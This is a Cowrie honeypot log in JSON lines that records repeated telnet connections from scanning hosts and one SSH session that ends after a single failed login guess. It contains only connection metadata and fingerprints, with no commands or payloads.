{"eventid":"cowrie.session.closed","duration":30.5672345161438,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:45.057118Z","src_ip":"64.235.40.29","session":"f55268a171c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":49530,"dst_ip":"10.17.0.5","dst_port":23,"session":"a36b815baa54","protocol":"telnet","message":"New connection: 64.235.40.29:49530 (10.17.0.5:23) [session: a36b815baa54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:45.086002Z"}
{"eventid":"cowrie.session.closed","duration":30.876728296279907,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:45.092479Z","src_ip":"64.235.40.29","session":"9a8d71986b77","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.242536306381226,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:45.155242Z","src_ip":"64.235.40.29","session":"ec9f2e001d57","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":41328,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc0100179c89","protocol":"telnet","message":"New connection: 64.235.40.29:41328 (10.17.0.5:23) [session: cc0100179c89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:45.503063Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":49548,"dst_ip":"10.17.0.5","dst_port":23,"session":"190dc8af6b3d","protocol":"telnet","message":"New connection: 64.235.40.29:49548 (10.17.0.5:23) [session: 190dc8af6b3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:45.565639Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":41350,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0db1a45d0b1","protocol":"telnet","message":"New connection: 64.235.40.29:41350 (10.17.0.5:23) [session: a0db1a45d0b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:45.760815Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":41380,"dst_ip":"10.17.0.5","dst_port":23,"session":"0488c1da4b40","protocol":"telnet","message":"New connection: 64.235.40.29:41380 (10.17.0.5:23) [session: 0488c1da4b40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:45.772545Z"}
{"eventid":"cowrie.session.closed","duration":31.112776279449463,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:45.828013Z","src_ip":"64.235.40.29","session":"436de13d2f0b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.4073805809021,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:46.035258Z","src_ip":"64.235.40.29","session":"8eab8d8d1314","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":49562,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee57a15c8e1d","protocol":"telnet","message":"New connection: 64.235.40.29:49562 (10.17.0.5:23) [session: ee57a15c8e1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:46.158428Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":49564,"dst_ip":"10.17.0.5","dst_port":23,"session":"32456f3fb870","protocol":"telnet","message":"New connection: 64.235.40.29:49564 (10.17.0.5:23) [session: 32456f3fb870]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:46.196818Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":49546,"dst_ip":"10.17.0.5","dst_port":23,"session":"0dc6a6bfecfe","protocol":"telnet","message":"New connection: 64.235.40.29:49546 (10.17.0.5:23) [session: 0dc6a6bfecfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:46.220769Z"}
{"eventid":"cowrie.session.closed","duration":30.93374752998352,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:46.286237Z","src_ip":"64.235.40.29","session":"f026a39d86a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":43812,"dst_ip":"10.17.0.5","dst_port":23,"session":"943b4afd0512","protocol":"telnet","message":"New connection: 160.250.4.73:43812 (10.17.0.5:23) [session: 943b4afd0512]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:46.508402Z"}
{"eventid":"cowrie.session.closed","duration":30.953473329544067,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:46.548960Z","src_ip":"64.235.40.29","session":"9de5aa52ab9c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":49628,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5a20c426e17","protocol":"telnet","message":"New connection: 64.235.40.29:49628 (10.17.0.5:23) [session: b5a20c426e17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:46.703081Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":49688,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a4a3e003486","protocol":"telnet","message":"New connection: 64.235.40.29:49688 (10.17.0.5:23) [session: 2a4a3e003486]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:46.941936Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":49710,"dst_ip":"10.17.0.5","dst_port":23,"session":"333338034263","protocol":"telnet","message":"New connection: 64.235.40.29:49710 (10.17.0.5:23) [session: 333338034263]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:46.969001Z"}
{"eventid":"cowrie.session.closed","duration":30.150182247161865,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:47.045319Z","src_ip":"64.235.40.29","session":"9c4dafefa070","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.994024991989136,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:47.069434Z","src_ip":"64.235.40.29","session":"d2f78f2d028f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":49724,"dst_ip":"10.17.0.5","dst_port":23,"session":"98e28ce7898a","protocol":"telnet","message":"New connection: 64.235.40.29:49724 (10.17.0.5:23) [session: 98e28ce7898a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:47.074533Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":49744,"dst_ip":"10.17.0.5","dst_port":23,"session":"71b594231ff2","protocol":"telnet","message":"New connection: 64.235.40.29:49744 (10.17.0.5:23) [session: 71b594231ff2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:47.175731Z"}
{"eventid":"cowrie.session.closed","duration":30.96763014793396,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:47.411871Z","src_ip":"64.235.40.29","session":"4e6bff0f7e75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":49822,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1fecb0f7ad7","protocol":"telnet","message":"New connection: 64.235.40.29:49822 (10.17.0.5:23) [session: e1fecb0f7ad7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:47.478683Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":49866,"dst_ip":"10.17.0.5","dst_port":23,"session":"823c3c0d4897","protocol":"telnet","message":"New connection: 64.235.40.29:49866 (10.17.0.5:23) [session: 823c3c0d4897]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:47.574096Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":49906,"dst_ip":"10.17.0.5","dst_port":23,"session":"15b7ff9ef2d4","protocol":"telnet","message":"New connection: 64.235.40.29:49906 (10.17.0.5:23) [session: 15b7ff9ef2d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:47.685157Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":49920,"dst_ip":"10.17.0.5","dst_port":23,"session":"a88a50652ddd","protocol":"telnet","message":"New connection: 64.235.40.29:49920 (10.17.0.5:23) [session: a88a50652ddd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:47.745876Z"}
{"eventid":"cowrie.session.closed","duration":37.99869132041931,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:48.013218Z","src_ip":"64.235.40.29","session":"a3edf80cee91","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":49490,"dst_ip":"10.17.0.5","dst_port":23,"session":"42791d4a57be","protocol":"telnet","message":"New connection: 64.235.40.29:49490 (10.17.0.5:23) [session: 42791d4a57be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:48.017086Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":50014,"dst_ip":"10.17.0.5","dst_port":23,"session":"8794fe91a4a6","protocol":"telnet","message":"New connection: 64.235.40.29:50014 (10.17.0.5:23) [session: 8794fe91a4a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:48.085661Z"}
{"eventid":"cowrie.session.closed","duration":30.533450603485107,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:48.091174Z","src_ip":"64.235.40.29","session":"3054fa7da512","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.174227714538574,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:48.138005Z","src_ip":"64.235.40.29","session":"23b73a533347","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":50046,"dst_ip":"10.17.0.5","dst_port":23,"session":"9389ae2de8cf","protocol":"telnet","message":"New connection: 64.235.40.29:50046 (10.17.0.5:23) [session: 9389ae2de8cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:48.161583Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":49748,"dst_ip":"10.17.0.5","dst_port":23,"session":"16bd1dccbb35","protocol":"telnet","message":"New connection: 64.235.40.29:49748 (10.17.0.5:23) [session: 16bd1dccbb35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:48.192765Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":50054,"dst_ip":"10.17.0.5","dst_port":23,"session":"549fe92644a2","protocol":"telnet","message":"New connection: 64.235.40.29:50054 (10.17.0.5:23) [session: 549fe92644a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:48.224748Z"}
{"eventid":"cowrie.session.closed","duration":30.586575984954834,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:48.265303Z","src_ip":"64.235.40.29","session":"62e3fc48bde0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":50158,"dst_ip":"10.17.0.5","dst_port":23,"session":"cccfb24fa2f7","protocol":"telnet","message":"New connection: 64.235.40.29:50158 (10.17.0.5:23) [session: cccfb24fa2f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:48.492387Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":50280,"dst_ip":"10.17.0.5","dst_port":23,"session":"5131677319a8","protocol":"telnet","message":"New connection: 64.235.40.29:50280 (10.17.0.5:23) [session: 5131677319a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:48.851751Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":50288,"dst_ip":"10.17.0.5","dst_port":23,"session":"41cab4adb82e","protocol":"telnet","message":"New connection: 64.235.40.29:50288 (10.17.0.5:23) [session: 41cab4adb82e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:48.896359Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":43878,"dst_ip":"10.17.0.5","dst_port":23,"session":"33a6d39446ac","protocol":"telnet","message":"New connection: 160.250.4.73:43878 (10.17.0.5:23) [session: 33a6d39446ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:49.039956Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":50332,"dst_ip":"10.17.0.5","dst_port":23,"session":"810844cb3970","protocol":"telnet","message":"New connection: 64.235.40.29:50332 (10.17.0.5:23) [session: 810844cb3970]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:49.049942Z"}
{"eventid":"cowrie.session.closed","duration":30.880632400512695,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:49.080012Z","src_ip":"64.235.40.29","session":"fb05a9041913","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":50334,"dst_ip":"10.17.0.5","dst_port":23,"session":"52b42537ffbb","protocol":"telnet","message":"New connection: 64.235.40.29:50334 (10.17.0.5:23) [session: 52b42537ffbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:49.093806Z"}
{"eventid":"cowrie.session.closed","duration":30.305489540100098,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:49.105562Z","src_ip":"64.235.40.29","session":"7762a07c08cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":50344,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f954cd10cad","protocol":"telnet","message":"New connection: 64.235.40.29:50344 (10.17.0.5:23) [session: 0f954cd10cad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:49.160461Z"}
{"eventid":"cowrie.session.closed","duration":31.206204414367676,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:49.202466Z","src_ip":"64.235.40.29","session":"d70900230cc2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":50346,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa8c4be83998","protocol":"telnet","message":"New connection: 64.235.40.29:50346 (10.17.0.5:23) [session: aa8c4be83998]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:49.210051Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":57614,"dst_ip":"10.17.0.5","dst_port":23,"session":"99c0f4c8bae4","protocol":"telnet","message":"New connection: 160.250.4.73:57614 (10.17.0.5:23) [session: 99c0f4c8bae4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:49.240209Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.80.18.158","src_port":34012,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a75a1667b90","protocol":"ssh","message":"New connection: 186.80.18.158:34012 (10.17.0.5:22) [session: 6a75a1667b90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:49.310497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:49.315167Z","src_ip":"186.80.18.158","session":"6a75a1667b90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":50102,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f46eb93b5f6","protocol":"telnet","message":"New connection: 64.235.40.29:50102 (10.17.0.5:23) [session: 1f46eb93b5f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:49.356743Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:49.391821Z","src_ip":"186.80.18.158","session":"6a75a1667b90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":50374,"dst_ip":"10.17.0.5","dst_port":23,"session":"c91aa0919fa4","protocol":"telnet","message":"New connection: 64.235.40.29:50374 (10.17.0.5:23) [session: c91aa0919fa4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:49.596500Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Pass@2022","message":"login attempt [ubuntu/Pass@2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:49.726547Z","src_ip":"186.80.18.158","session":"6a75a1667b90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":56294,"dst_ip":"10.17.0.5","dst_port":23,"session":"48b9de24d76b","protocol":"telnet","message":"New connection: 135.148.33.217:56294 (10.17.0.5:23) [session: 48b9de24d76b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:49.770098Z"}
{"eventid":"cowrie.session.closed","duration":31.33001685142517,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:49.812750Z","src_ip":"64.235.40.29","session":"5a5093f4e4b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.29746413230896,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:50.041749Z","src_ip":"64.235.40.29","session":"e4a9a344e9b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":50424,"dst_ip":"10.17.0.5","dst_port":23,"session":"07a721a1f848","protocol":"telnet","message":"New connection: 64.235.40.29:50424 (10.17.0.5:23) [session: 07a721a1f848]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:50.093844Z"}
{"eventid":"cowrie.session.closed","duration":30.766461610794067,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:50.111375Z","src_ip":"64.235.40.29","session":"4680418def37","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.2229962348938,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:50.272388Z","src_ip":"64.235.40.29","session":"43d2d8208a63","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":50452,"dst_ip":"10.17.0.5","dst_port":23,"session":"344164f85511","protocol":"telnet","message":"New connection: 64.235.40.29:50452 (10.17.0.5:23) [session: 344164f85511]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:50.311085Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":50450,"dst_ip":"10.17.0.5","dst_port":23,"session":"77b45447fb9f","protocol":"telnet","message":"New connection: 64.235.40.29:50450 (10.17.0.5:23) [session: 77b45447fb9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:50.317273Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":50466,"dst_ip":"10.17.0.5","dst_port":23,"session":"2920907c1c79","protocol":"telnet","message":"New connection: 64.235.40.29:50466 (10.17.0.5:23) [session: 2920907c1c79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:50.320603Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":50362,"dst_ip":"10.17.0.5","dst_port":23,"session":"5399d180e371","protocol":"telnet","message":"New connection: 64.235.40.29:50362 (10.17.0.5:23) [session: 5399d180e371]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:50.560545Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:50.808657Z","src_ip":"186.80.18.158","session":"6a75a1667b90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":49288,"dst_ip":"10.17.0.5","dst_port":23,"session":"3659b6b13590","protocol":"telnet","message":"New connection: 99.198.111.122:49288 (10.17.0.5:23) [session: 3659b6b13590]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:50.850618Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":50580,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c222ade95fe","protocol":"telnet","message":"New connection: 64.235.40.29:50580 (10.17.0.5:23) [session: 9c222ade95fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:51.337720Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":50566,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f4750777233","protocol":"telnet","message":"New connection: 64.235.40.29:50566 (10.17.0.5:23) [session: 4f4750777233]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:51.341580Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":50634,"dst_ip":"10.17.0.5","dst_port":23,"session":"3478023f49e5","protocol":"telnet","message":"New connection: 64.235.40.29:50634 (10.17.0.5:23) [session: 3478023f49e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:51.533001Z"}
{"eventid":"cowrie.session.closed","duration":31.120259284973145,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:51.548226Z","src_ip":"64.235.40.29","session":"4ab739b6feca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.99222469329834,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:51.832204Z","src_ip":"64.235.40.29","session":"641a9addf536","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":50778,"dst_ip":"10.17.0.5","dst_port":23,"session":"772f470aae0b","protocol":"telnet","message":"New connection: 64.235.40.29:50778 (10.17.0.5:23) [session: 772f470aae0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:51.977457Z"}
{"eventid":"cowrie.session.closed","duration":32.79581570625305,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:52.060491Z","src_ip":"64.235.40.29","session":"c32753c8bd48","protocol":"telnet"}
